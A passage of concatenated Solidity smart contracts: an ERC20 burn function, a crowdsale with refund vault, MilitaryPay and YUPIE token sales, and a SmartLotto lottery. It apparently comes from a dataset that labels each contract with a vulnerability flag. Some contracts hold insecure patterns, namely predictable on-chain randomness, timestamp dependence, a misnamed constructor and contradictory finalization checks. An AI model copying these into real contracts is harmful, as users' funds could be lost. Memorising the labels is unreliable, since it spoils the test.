function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
_totalSupply = safeSub(_totalSupply, _value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
_totalSupply = safeSub(_totalSupply, _value);
emit Burn(_from, _value);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,148 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _amount) external returns (bool success);
function balanceOf(address _owner) external returns (uint256 balance);
}
contract FiatContract {
function USD(uint _id) public constant returns (uint256);
}
contract Crowdsale {
using SafeMath for uint256;
Token public token_call;
Token public token_callg;
FiatContract public fiat_contract;
uint256 public softCap = 30000 ether;
uint256 public maxContributionPerAddress = 1500 ether;
uint256 public startTime;
uint256 public endTime;
uint256 public weiRaised;
uint256 public sale_period = 75 days;
uint256 public minInvestment = 0.01 ether;
bool public sale_state = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier nonZeroAddress(address _to) {
require(_to != 0x0);
_;
}
modifier nonZeroEth() {
require(msg.value > 0);
_;
}
function Crowdsale(address _token_call, address _token_callg) public nonZeroAddress(_token_call) nonZeroAddress(_token_callg) {
token_call = Token(_token_call);
token_callg = Token(_token_callg);
fiat_contract = FiatContract(0x8055d0504666e2B6942BeB8D6014c964658Ca591);
}
function calculateRate(uint256 _amount) public view returns(uint256) {
uint256 tokenPrice = fiat_contract.USD(0);
if(startTime.add(15 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(200).div(10 ** 8);
} else if(startTime.add(45 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(300).div(10 ** 8);
} else if(startTime.add(52 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(330).div(10 ** 8);
} else if(startTime.add(59 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(360).div(10 ** 8);
} else if(startTime.add(66 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(400).div(10 ** 8);
} else {
tokenPrice = tokenPrice.mul(150).div(10 ** 8);
}
return _amount.div(tokenPrice).mul(10 ** 10);
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable nonZeroAddress(beneficiary) {
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokenPrice = fiat_contract.USD(0);
if(startTime.add(15 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(200).div(10 ** 8);
} else if(startTime.add(45 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(300).div(10 ** 8);
} else if(startTime.add(52 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(330).div(10 ** 8);
} else if(startTime.add(59 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(360).div(10 ** 8);
} else if(startTime.add(66 days) >= block.timestamp) {
tokenPrice = tokenPrice.mul(400).div(10 ** 8);
} else {
tokenPrice = tokenPrice.mul(150).div(10 ** 8);
}
uint256 call_units = weiAmount.div(tokenPrice).mul(10 ** 10);
uint256 callg_units = call_units.mul(200);
forwardFunds();
weiRaised = weiRaised.add(weiAmount);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, call_units);
require(token_call.transfer(beneficiary, call_units));
require(token_callg.transfer(beneficiary, callg_units));
}
function forwardFunds() internal;
function hasEnded() public view returns (bool) {
require(sale_state);
return block.timestamp > endTime;
}
function validPurchase() internal view returns (bool);
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
event Finalized();
function FinalizableCrowdsale(address _token_call, address _token_callg) Crowdsale(_token_call, _token_callg) public {
}
function finalize() onlyOwner public {
require(hasEnded());
finalization();
emit Finalized();
sale_state = false;
}
function finalization() internal ;
}
contract CapitalTechCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
RefundVault public vault;
event BurnedUnsold();
function CapitalTechCrowdsale( address _wallet, address _token_call, address _token_callg) FinalizableCrowdsale( _token_call, _token_callg) public nonZeroAddress(_wallet) {
vault = new RefundVault(_wallet);
}
function powerUpContract() public onlyOwner{
require(!sale_state);
startTime = block.timestamp;
endTime = block.timestamp.add(sale_period);
sale_state = true;
}
function transferTokens(address _to, uint256 amount) public onlyOwner nonZeroAddress(_to) {
require(hasEnded());
token_call.transfer(_to, amount);
token_callg.transfer(_to, amount.mul(200));
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(!sale_state);
require(!goalReached());
vault.refund(msg.sender);
}
function withdrawFunds() public onlyOwner{
require(!sale_state);
require(goalReached());
vault.withdrawToWallet();
}
function finalization() internal {
if (goalReached()) {
burnUnsold();
vault.close();
} else {
vault.enableRefunds();
}
}
function burnUnsold() internal {
require(!sale_state);
require(!goalReached());
token_call.transfer(address(0), token_call.balanceOf(this));
token_callg.transfer(address(0), token_callg.balanceOf(this));
emit BurnedUnsold();
}
function validPurchase() internal view returns (bool) {
require(!hasEnded());
require(msg.value >= minInvestment);
require(vault.deposited(msg.sender).add(msg.value) <= maxContributionPerAddress);
return true;
}
function goalReached() public view returns (bool) {
return token_call.balanceOf(this) <= 5250000000000000000000000;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function withdrawToWallet() onlyOwner public{
require(state == State.Closed);
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
emit Refunded(investor, depositedValue);
investor.transfer(depositedValue);
}
} | 0 | 979 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MilitaryPay is StandardToken {
using SafeMath for uint256;
event CreatedMTP(address indexed _creator, uint256 _amountOfMTP);
string public constant name = "MilitaryPay";
string public constant symbol = "MTP";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public maxPresaleSupply;
uint256 public constant preSaleStartTime = 1503130673;
uint256 public constant preSaleEndTime = 1505894400;
uint256 public saleStartTime = 1509696000;
uint256 public saleEndTime = 1514707200;
uint256 public lowEtherBonusLimit = 5 * 1 ether;
uint256 public lowEtherBonusValue = 110;
uint256 public midEtherBonusLimit = 24 * 1 ether;
uint256 public midEtherBonusValue = 115;
uint256 public highEtherBonusLimit = 50 * 1 ether;
uint256 public highEtherBonusValue = 120;
uint256 public highTimeBonusLimit = 0;
uint256 public highTimeBonusValue = 120;
uint256 public midTimeBonusLimit = 1036800;
uint256 public midTimeBonusValue = 115;
uint256 public lowTimeBonusLimit = 2073600;
uint256 public lowTimeBonusValue = 110;
uint256 public constant MTP_PER_ETH_PRE_SALE = 4000;
uint256 public constant MTP_PER_ETH_SALE = 2000;
address public constant ownerAddress = 0x144EFeF99F7F126987c2b5cCD717CF6eDad1E67d;
bool public allowInvestment = true;
uint256 public totalWEIInvested = 0;
uint256 public totalMTPAllocated = 0;
mapping (address => uint256) public WEIContributed;
function MTPToken() {
require(msg.sender == ownerAddress);
totalSupply = 99631*1000000*1000000000000000000;
uint256 totalMTPReserved = totalSupply.mul(99).div(100);
maxPresaleSupply = totalSupply*8/1000 + totalMTPReserved;
balances[msg.sender] = totalMTPReserved;
totalMTPAllocated = totalMTPReserved;
}
function() payable {
require(allowInvestment);
uint256 amountOfWei = msg.value;
require(amountOfWei >= 10000000000000);
uint256 amountOfMTP = 0;
uint256 absLowTimeBonusLimit = 0;
uint256 absMidTimeBonusLimit = 0;
uint256 absHighTimeBonusLimit = 0;
uint256 totalMTPAvailable = 0;
if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) {
amountOfMTP = amountOfWei.mul(MTP_PER_ETH_PRE_SALE);
absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit;
totalMTPAvailable = maxPresaleSupply - totalMTPAllocated;
} else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) {
amountOfMTP = amountOfWei.mul(MTP_PER_ETH_SALE);
absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit;
totalMTPAvailable = totalSupply - totalMTPAllocated;
} else {
revert();
}
assert(amountOfMTP > 0);
if (amountOfWei >= highEtherBonusLimit) {
amountOfMTP = amountOfMTP.mul(highEtherBonusValue).div(100);
} else if (amountOfWei >= midEtherBonusLimit) {
amountOfMTP = amountOfMTP.mul(midEtherBonusValue).div(100);
} else if (amountOfWei >= lowEtherBonusLimit) {
amountOfMTP = amountOfMTP.mul(lowEtherBonusValue).div(100);
}
if (block.timestamp >= absLowTimeBonusLimit) {
amountOfMTP = amountOfMTP.mul(lowTimeBonusValue).div(100);
} else if (block.timestamp >= absMidTimeBonusLimit) {
amountOfMTP = amountOfMTP.mul(midTimeBonusValue).div(100);
} else if (block.timestamp >= absHighTimeBonusLimit) {
amountOfMTP = amountOfMTP.mul(highTimeBonusValue).div(100);
}
assert(amountOfMTP <= totalMTPAvailable);
totalMTPAllocated = totalMTPAllocated + amountOfMTP;
uint256 balanceSafe = balances[msg.sender].add(amountOfMTP);
balances[msg.sender] = balanceSafe;
totalWEIInvested = totalWEIInvested.add(amountOfWei);
uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei);
WEIContributed[msg.sender] = contributedSafe;
assert(totalMTPAllocated <= totalSupply);
assert(totalMTPAllocated > 0);
assert(balanceSafe > 0);
assert(totalWEIInvested > 0);
assert(contributedSafe > 0);
CreatedMTP(msg.sender, amountOfMTP);
}
function transferEther(address addressToSendTo, uint256 value) {
require(msg.sender == ownerAddress);
addressToSendTo.transfer(value);
}
function changeAllowInvestment(bool _allowInvestment) {
require(msg.sender == ownerAddress);
allowInvestment = _allowInvestment;
}
function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) {
require(msg.sender == ownerAddress);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
}
function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) {
require(msg.sender == ownerAddress);
lowEtherBonusLimit = _lowEtherBonusLimit;
lowEtherBonusValue = _lowEtherBonusValue;
midEtherBonusLimit = _midEtherBonusLimit;
midEtherBonusValue = _midEtherBonusValue;
highEtherBonusLimit = _highEtherBonusLimit;
highEtherBonusValue = _highEtherBonusValue;
}
function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) {
require(msg.sender == ownerAddress);
highTimeBonusLimit = _highTimeBonusLimit;
highTimeBonusValue = _highTimeBonusValue;
midTimeBonusLimit = _midTimeBonusLimit;
midTimeBonusValue = _midTimeBonusValue;
lowTimeBonusLimit = _lowTimeBonusLimit;
lowTimeBonusValue = _lowTimeBonusValue;
}
} | 0 | 283 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract YupieToken is StandardToken {
using SafeMath for uint256;
event CreatedYUPIE(address indexed _creator, uint256 _amountOfYUPIE);
string public constant name = "YUPIE";
string public constant symbol = "YUP";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public maxPresaleSupply;
uint256 public constant preSaleStartTime = 1502784000;
uint256 public constant preSaleEndTime = 1505671200;
uint256 public saleStartTime = 1509523200;
uint256 public saleEndTime = 1512115200;
uint256 public lowEtherBonusLimit = 5 * 1 ether;
uint256 public lowEtherBonusValue = 110;
uint256 public midEtherBonusLimit = 24 * 1 ether;
uint256 public midEtherBonusValue = 115;
uint256 public highEtherBonusLimit = 50 * 1 ether;
uint256 public highEtherBonusValue = 120;
uint256 public highTimeBonusLimit = 0;
uint256 public highTimeBonusValue = 120;
uint256 public midTimeBonusLimit = 1036800;
uint256 public midTimeBonusValue = 115;
uint256 public lowTimeBonusLimit = 2073600;
uint256 public lowTimeBonusValue = 110;
uint256 public constant YUPIE_PER_ETH_PRE_SALE = 3000;
uint256 public constant YUPIE_PER_ETH_SALE = 1000;
address public constant ownerAddress = 0x20C84e76C691e38E81EaE5BA60F655b8C388718D;
bool public allowInvestment = true;
uint256 public totalWEIInvested = 0;
uint256 public totalYUPIESAllocated = 0;
mapping (address => uint256) public WEIContributed;
function YupieToken() {
require(msg.sender == ownerAddress);
totalSupply = 631*1000000*1000000000000000000;
uint256 totalYUPIESReserved = totalSupply.mul(55).div(100);
maxPresaleSupply = totalSupply*8/1000 + totalYUPIESReserved;
balances[msg.sender] = totalYUPIESReserved;
totalYUPIESAllocated = totalYUPIESReserved;
}
function() payable {
require(allowInvestment);
uint256 amountOfWei = msg.value;
require(amountOfWei >= 10000000000000);
uint256 amountOfYUPIE = 0;
uint256 absLowTimeBonusLimit = 0;
uint256 absMidTimeBonusLimit = 0;
uint256 absHighTimeBonusLimit = 0;
uint256 totalYUPIEAvailable = 0;
if (block.timestamp > preSaleStartTime && block.timestamp < preSaleEndTime) {
amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_PRE_SALE);
absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit;
totalYUPIEAvailable = maxPresaleSupply - totalYUPIESAllocated;
} else if (block.timestamp > saleStartTime && block.timestamp < saleEndTime) {
amountOfYUPIE = amountOfWei.mul(YUPIE_PER_ETH_SALE);
absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit;
totalYUPIEAvailable = totalSupply - totalYUPIESAllocated;
} else {
revert();
}
assert(amountOfYUPIE > 0);
if (amountOfWei >= highEtherBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(highEtherBonusValue).div(100);
} else if (amountOfWei >= midEtherBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(midEtherBonusValue).div(100);
} else if (amountOfWei >= lowEtherBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(lowEtherBonusValue).div(100);
}
if (block.timestamp >= absLowTimeBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(lowTimeBonusValue).div(100);
} else if (block.timestamp >= absMidTimeBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(midTimeBonusValue).div(100);
} else if (block.timestamp >= absHighTimeBonusLimit) {
amountOfYUPIE = amountOfYUPIE.mul(highTimeBonusValue).div(100);
}
assert(amountOfYUPIE <= totalYUPIEAvailable);
totalYUPIESAllocated = totalYUPIESAllocated + amountOfYUPIE;
uint256 balanceSafe = balances[msg.sender].add(amountOfYUPIE);
balances[msg.sender] = balanceSafe;
totalWEIInvested = totalWEIInvested.add(amountOfWei);
uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei);
WEIContributed[msg.sender] = contributedSafe;
assert(totalYUPIESAllocated <= totalSupply);
assert(totalYUPIESAllocated > 0);
assert(balanceSafe > 0);
assert(totalWEIInvested > 0);
assert(contributedSafe > 0);
CreatedYUPIE(msg.sender, amountOfYUPIE);
}
function transferEther(address addressToSendTo, uint256 value) {
require(msg.sender == ownerAddress);
addressToSendTo.transfer(value);
}
function changeAllowInvestment(bool _allowInvestment) {
require(msg.sender == ownerAddress);
allowInvestment = _allowInvestment;
}
function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) {
require(msg.sender == ownerAddress);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
}
function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) {
require(msg.sender == ownerAddress);
lowEtherBonusLimit = _lowEtherBonusLimit;
lowEtherBonusValue = _lowEtherBonusValue;
midEtherBonusLimit = _midEtherBonusLimit;
midEtherBonusValue = _midEtherBonusValue;
highEtherBonusLimit = _highEtherBonusLimit;
highEtherBonusValue = _highEtherBonusValue;
}
function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) {
require(msg.sender == ownerAddress);
highTimeBonusLimit = _highTimeBonusLimit;
highTimeBonusValue = _highTimeBonusValue;
midTimeBonusLimit = _midTimeBonusLimit;
midTimeBonusValue = _midTimeBonusValue;
lowTimeBonusLimit = _lowTimeBonusLimit;
lowTimeBonusValue = _lowTimeBonusValue;
}
} | 0 | 1,298 |
pragma solidity ^0.5.1;
contract SmartLotto {
using SafeMath for uint;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address payable addr;
uint ticket;
uint8[5] numbers;
uint8 matchNumbers;
uint prize;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 12;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event WinPrize(uint _gamenum, uint _ticket, uint _prize, uint8 _match);
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
return;
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
return;
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
return;
}
function startGame() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(weekday == 3 && hour == 14) {
if(games[GAME_NUM].status == 1) {
processGame();
}
} else {
games[GAME_NUM].status = 1;
}
}
return;
}
function processGame() private {
uint8 mn = 0;
uint winners5 = 0;
uint winners4 = 0;
uint winners3 = 0;
uint winners2 = 0;
uint fund4 = 0;
uint fund3 = 0;
uint fund2 = 0;
for(uint8 i = 0; i < 5; i++) {
games[GAME_NUM].win_numbers[i] = random(i);
}
games[GAME_NUM].win_numbers = sortNumbers(games[GAME_NUM].win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i+1; j < 5; j++) {
if(games[GAME_NUM].win_numbers[i] == games[GAME_NUM].win_numbers[j]) {
games[GAME_NUM].win_numbers[j]++;
}
}
}
uint8[5] memory win_numbers;
win_numbers = games[GAME_NUM].win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
if(games[GAME_NUM].membersCounter > 0) {
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
mn = findMatch(games[GAME_NUM].win_numbers, games[GAME_NUM].members[i].numbers);
games[GAME_NUM].members[i].matchNumbers = mn;
if(mn == 5) {
winners5++;
}
if(mn == 4) {
winners4++;
}
if(mn == 3) {
winners3++;
}
if(mn == 2) {
winners2++;
}
}
JACKPOT = JACKPOT + games[GAME_NUM].totalFund * PERCENT_FUND_JACKPOT / 100;
fund4 = games[GAME_NUM].totalFund * PERCENT_FUND_4 / 100;
fund3 = games[GAME_NUM].totalFund * PERCENT_FUND_3 / 100;
fund2 = games[GAME_NUM].totalFund * PERCENT_FUND_2 / 100;
if(winners4 == 0) {
JACKPOT = JACKPOT + fund4;
}
if(winners3 == 0) {
JACKPOT = JACKPOT + fund3;
}
if(winners2 == 0) {
JACKPOT = JACKPOT + fund2;
}
for(uint i = 1; i <= games[GAME_NUM].membersCounter; i++) {
if(games[GAME_NUM].members[i].matchNumbers == 5) {
games[GAME_NUM].members[i].prize = JACKPOT / winners5;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 5);
}
if(games[GAME_NUM].members[i].matchNumbers == 4) {
games[GAME_NUM].members[i].prize = fund4 / winners4;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 4);
}
if(games[GAME_NUM].members[i].matchNumbers == 3) {
games[GAME_NUM].members[i].prize = fund3 / winners3;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 3);
}
if(games[GAME_NUM].members[i].matchNumbers == 2) {
games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
return;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
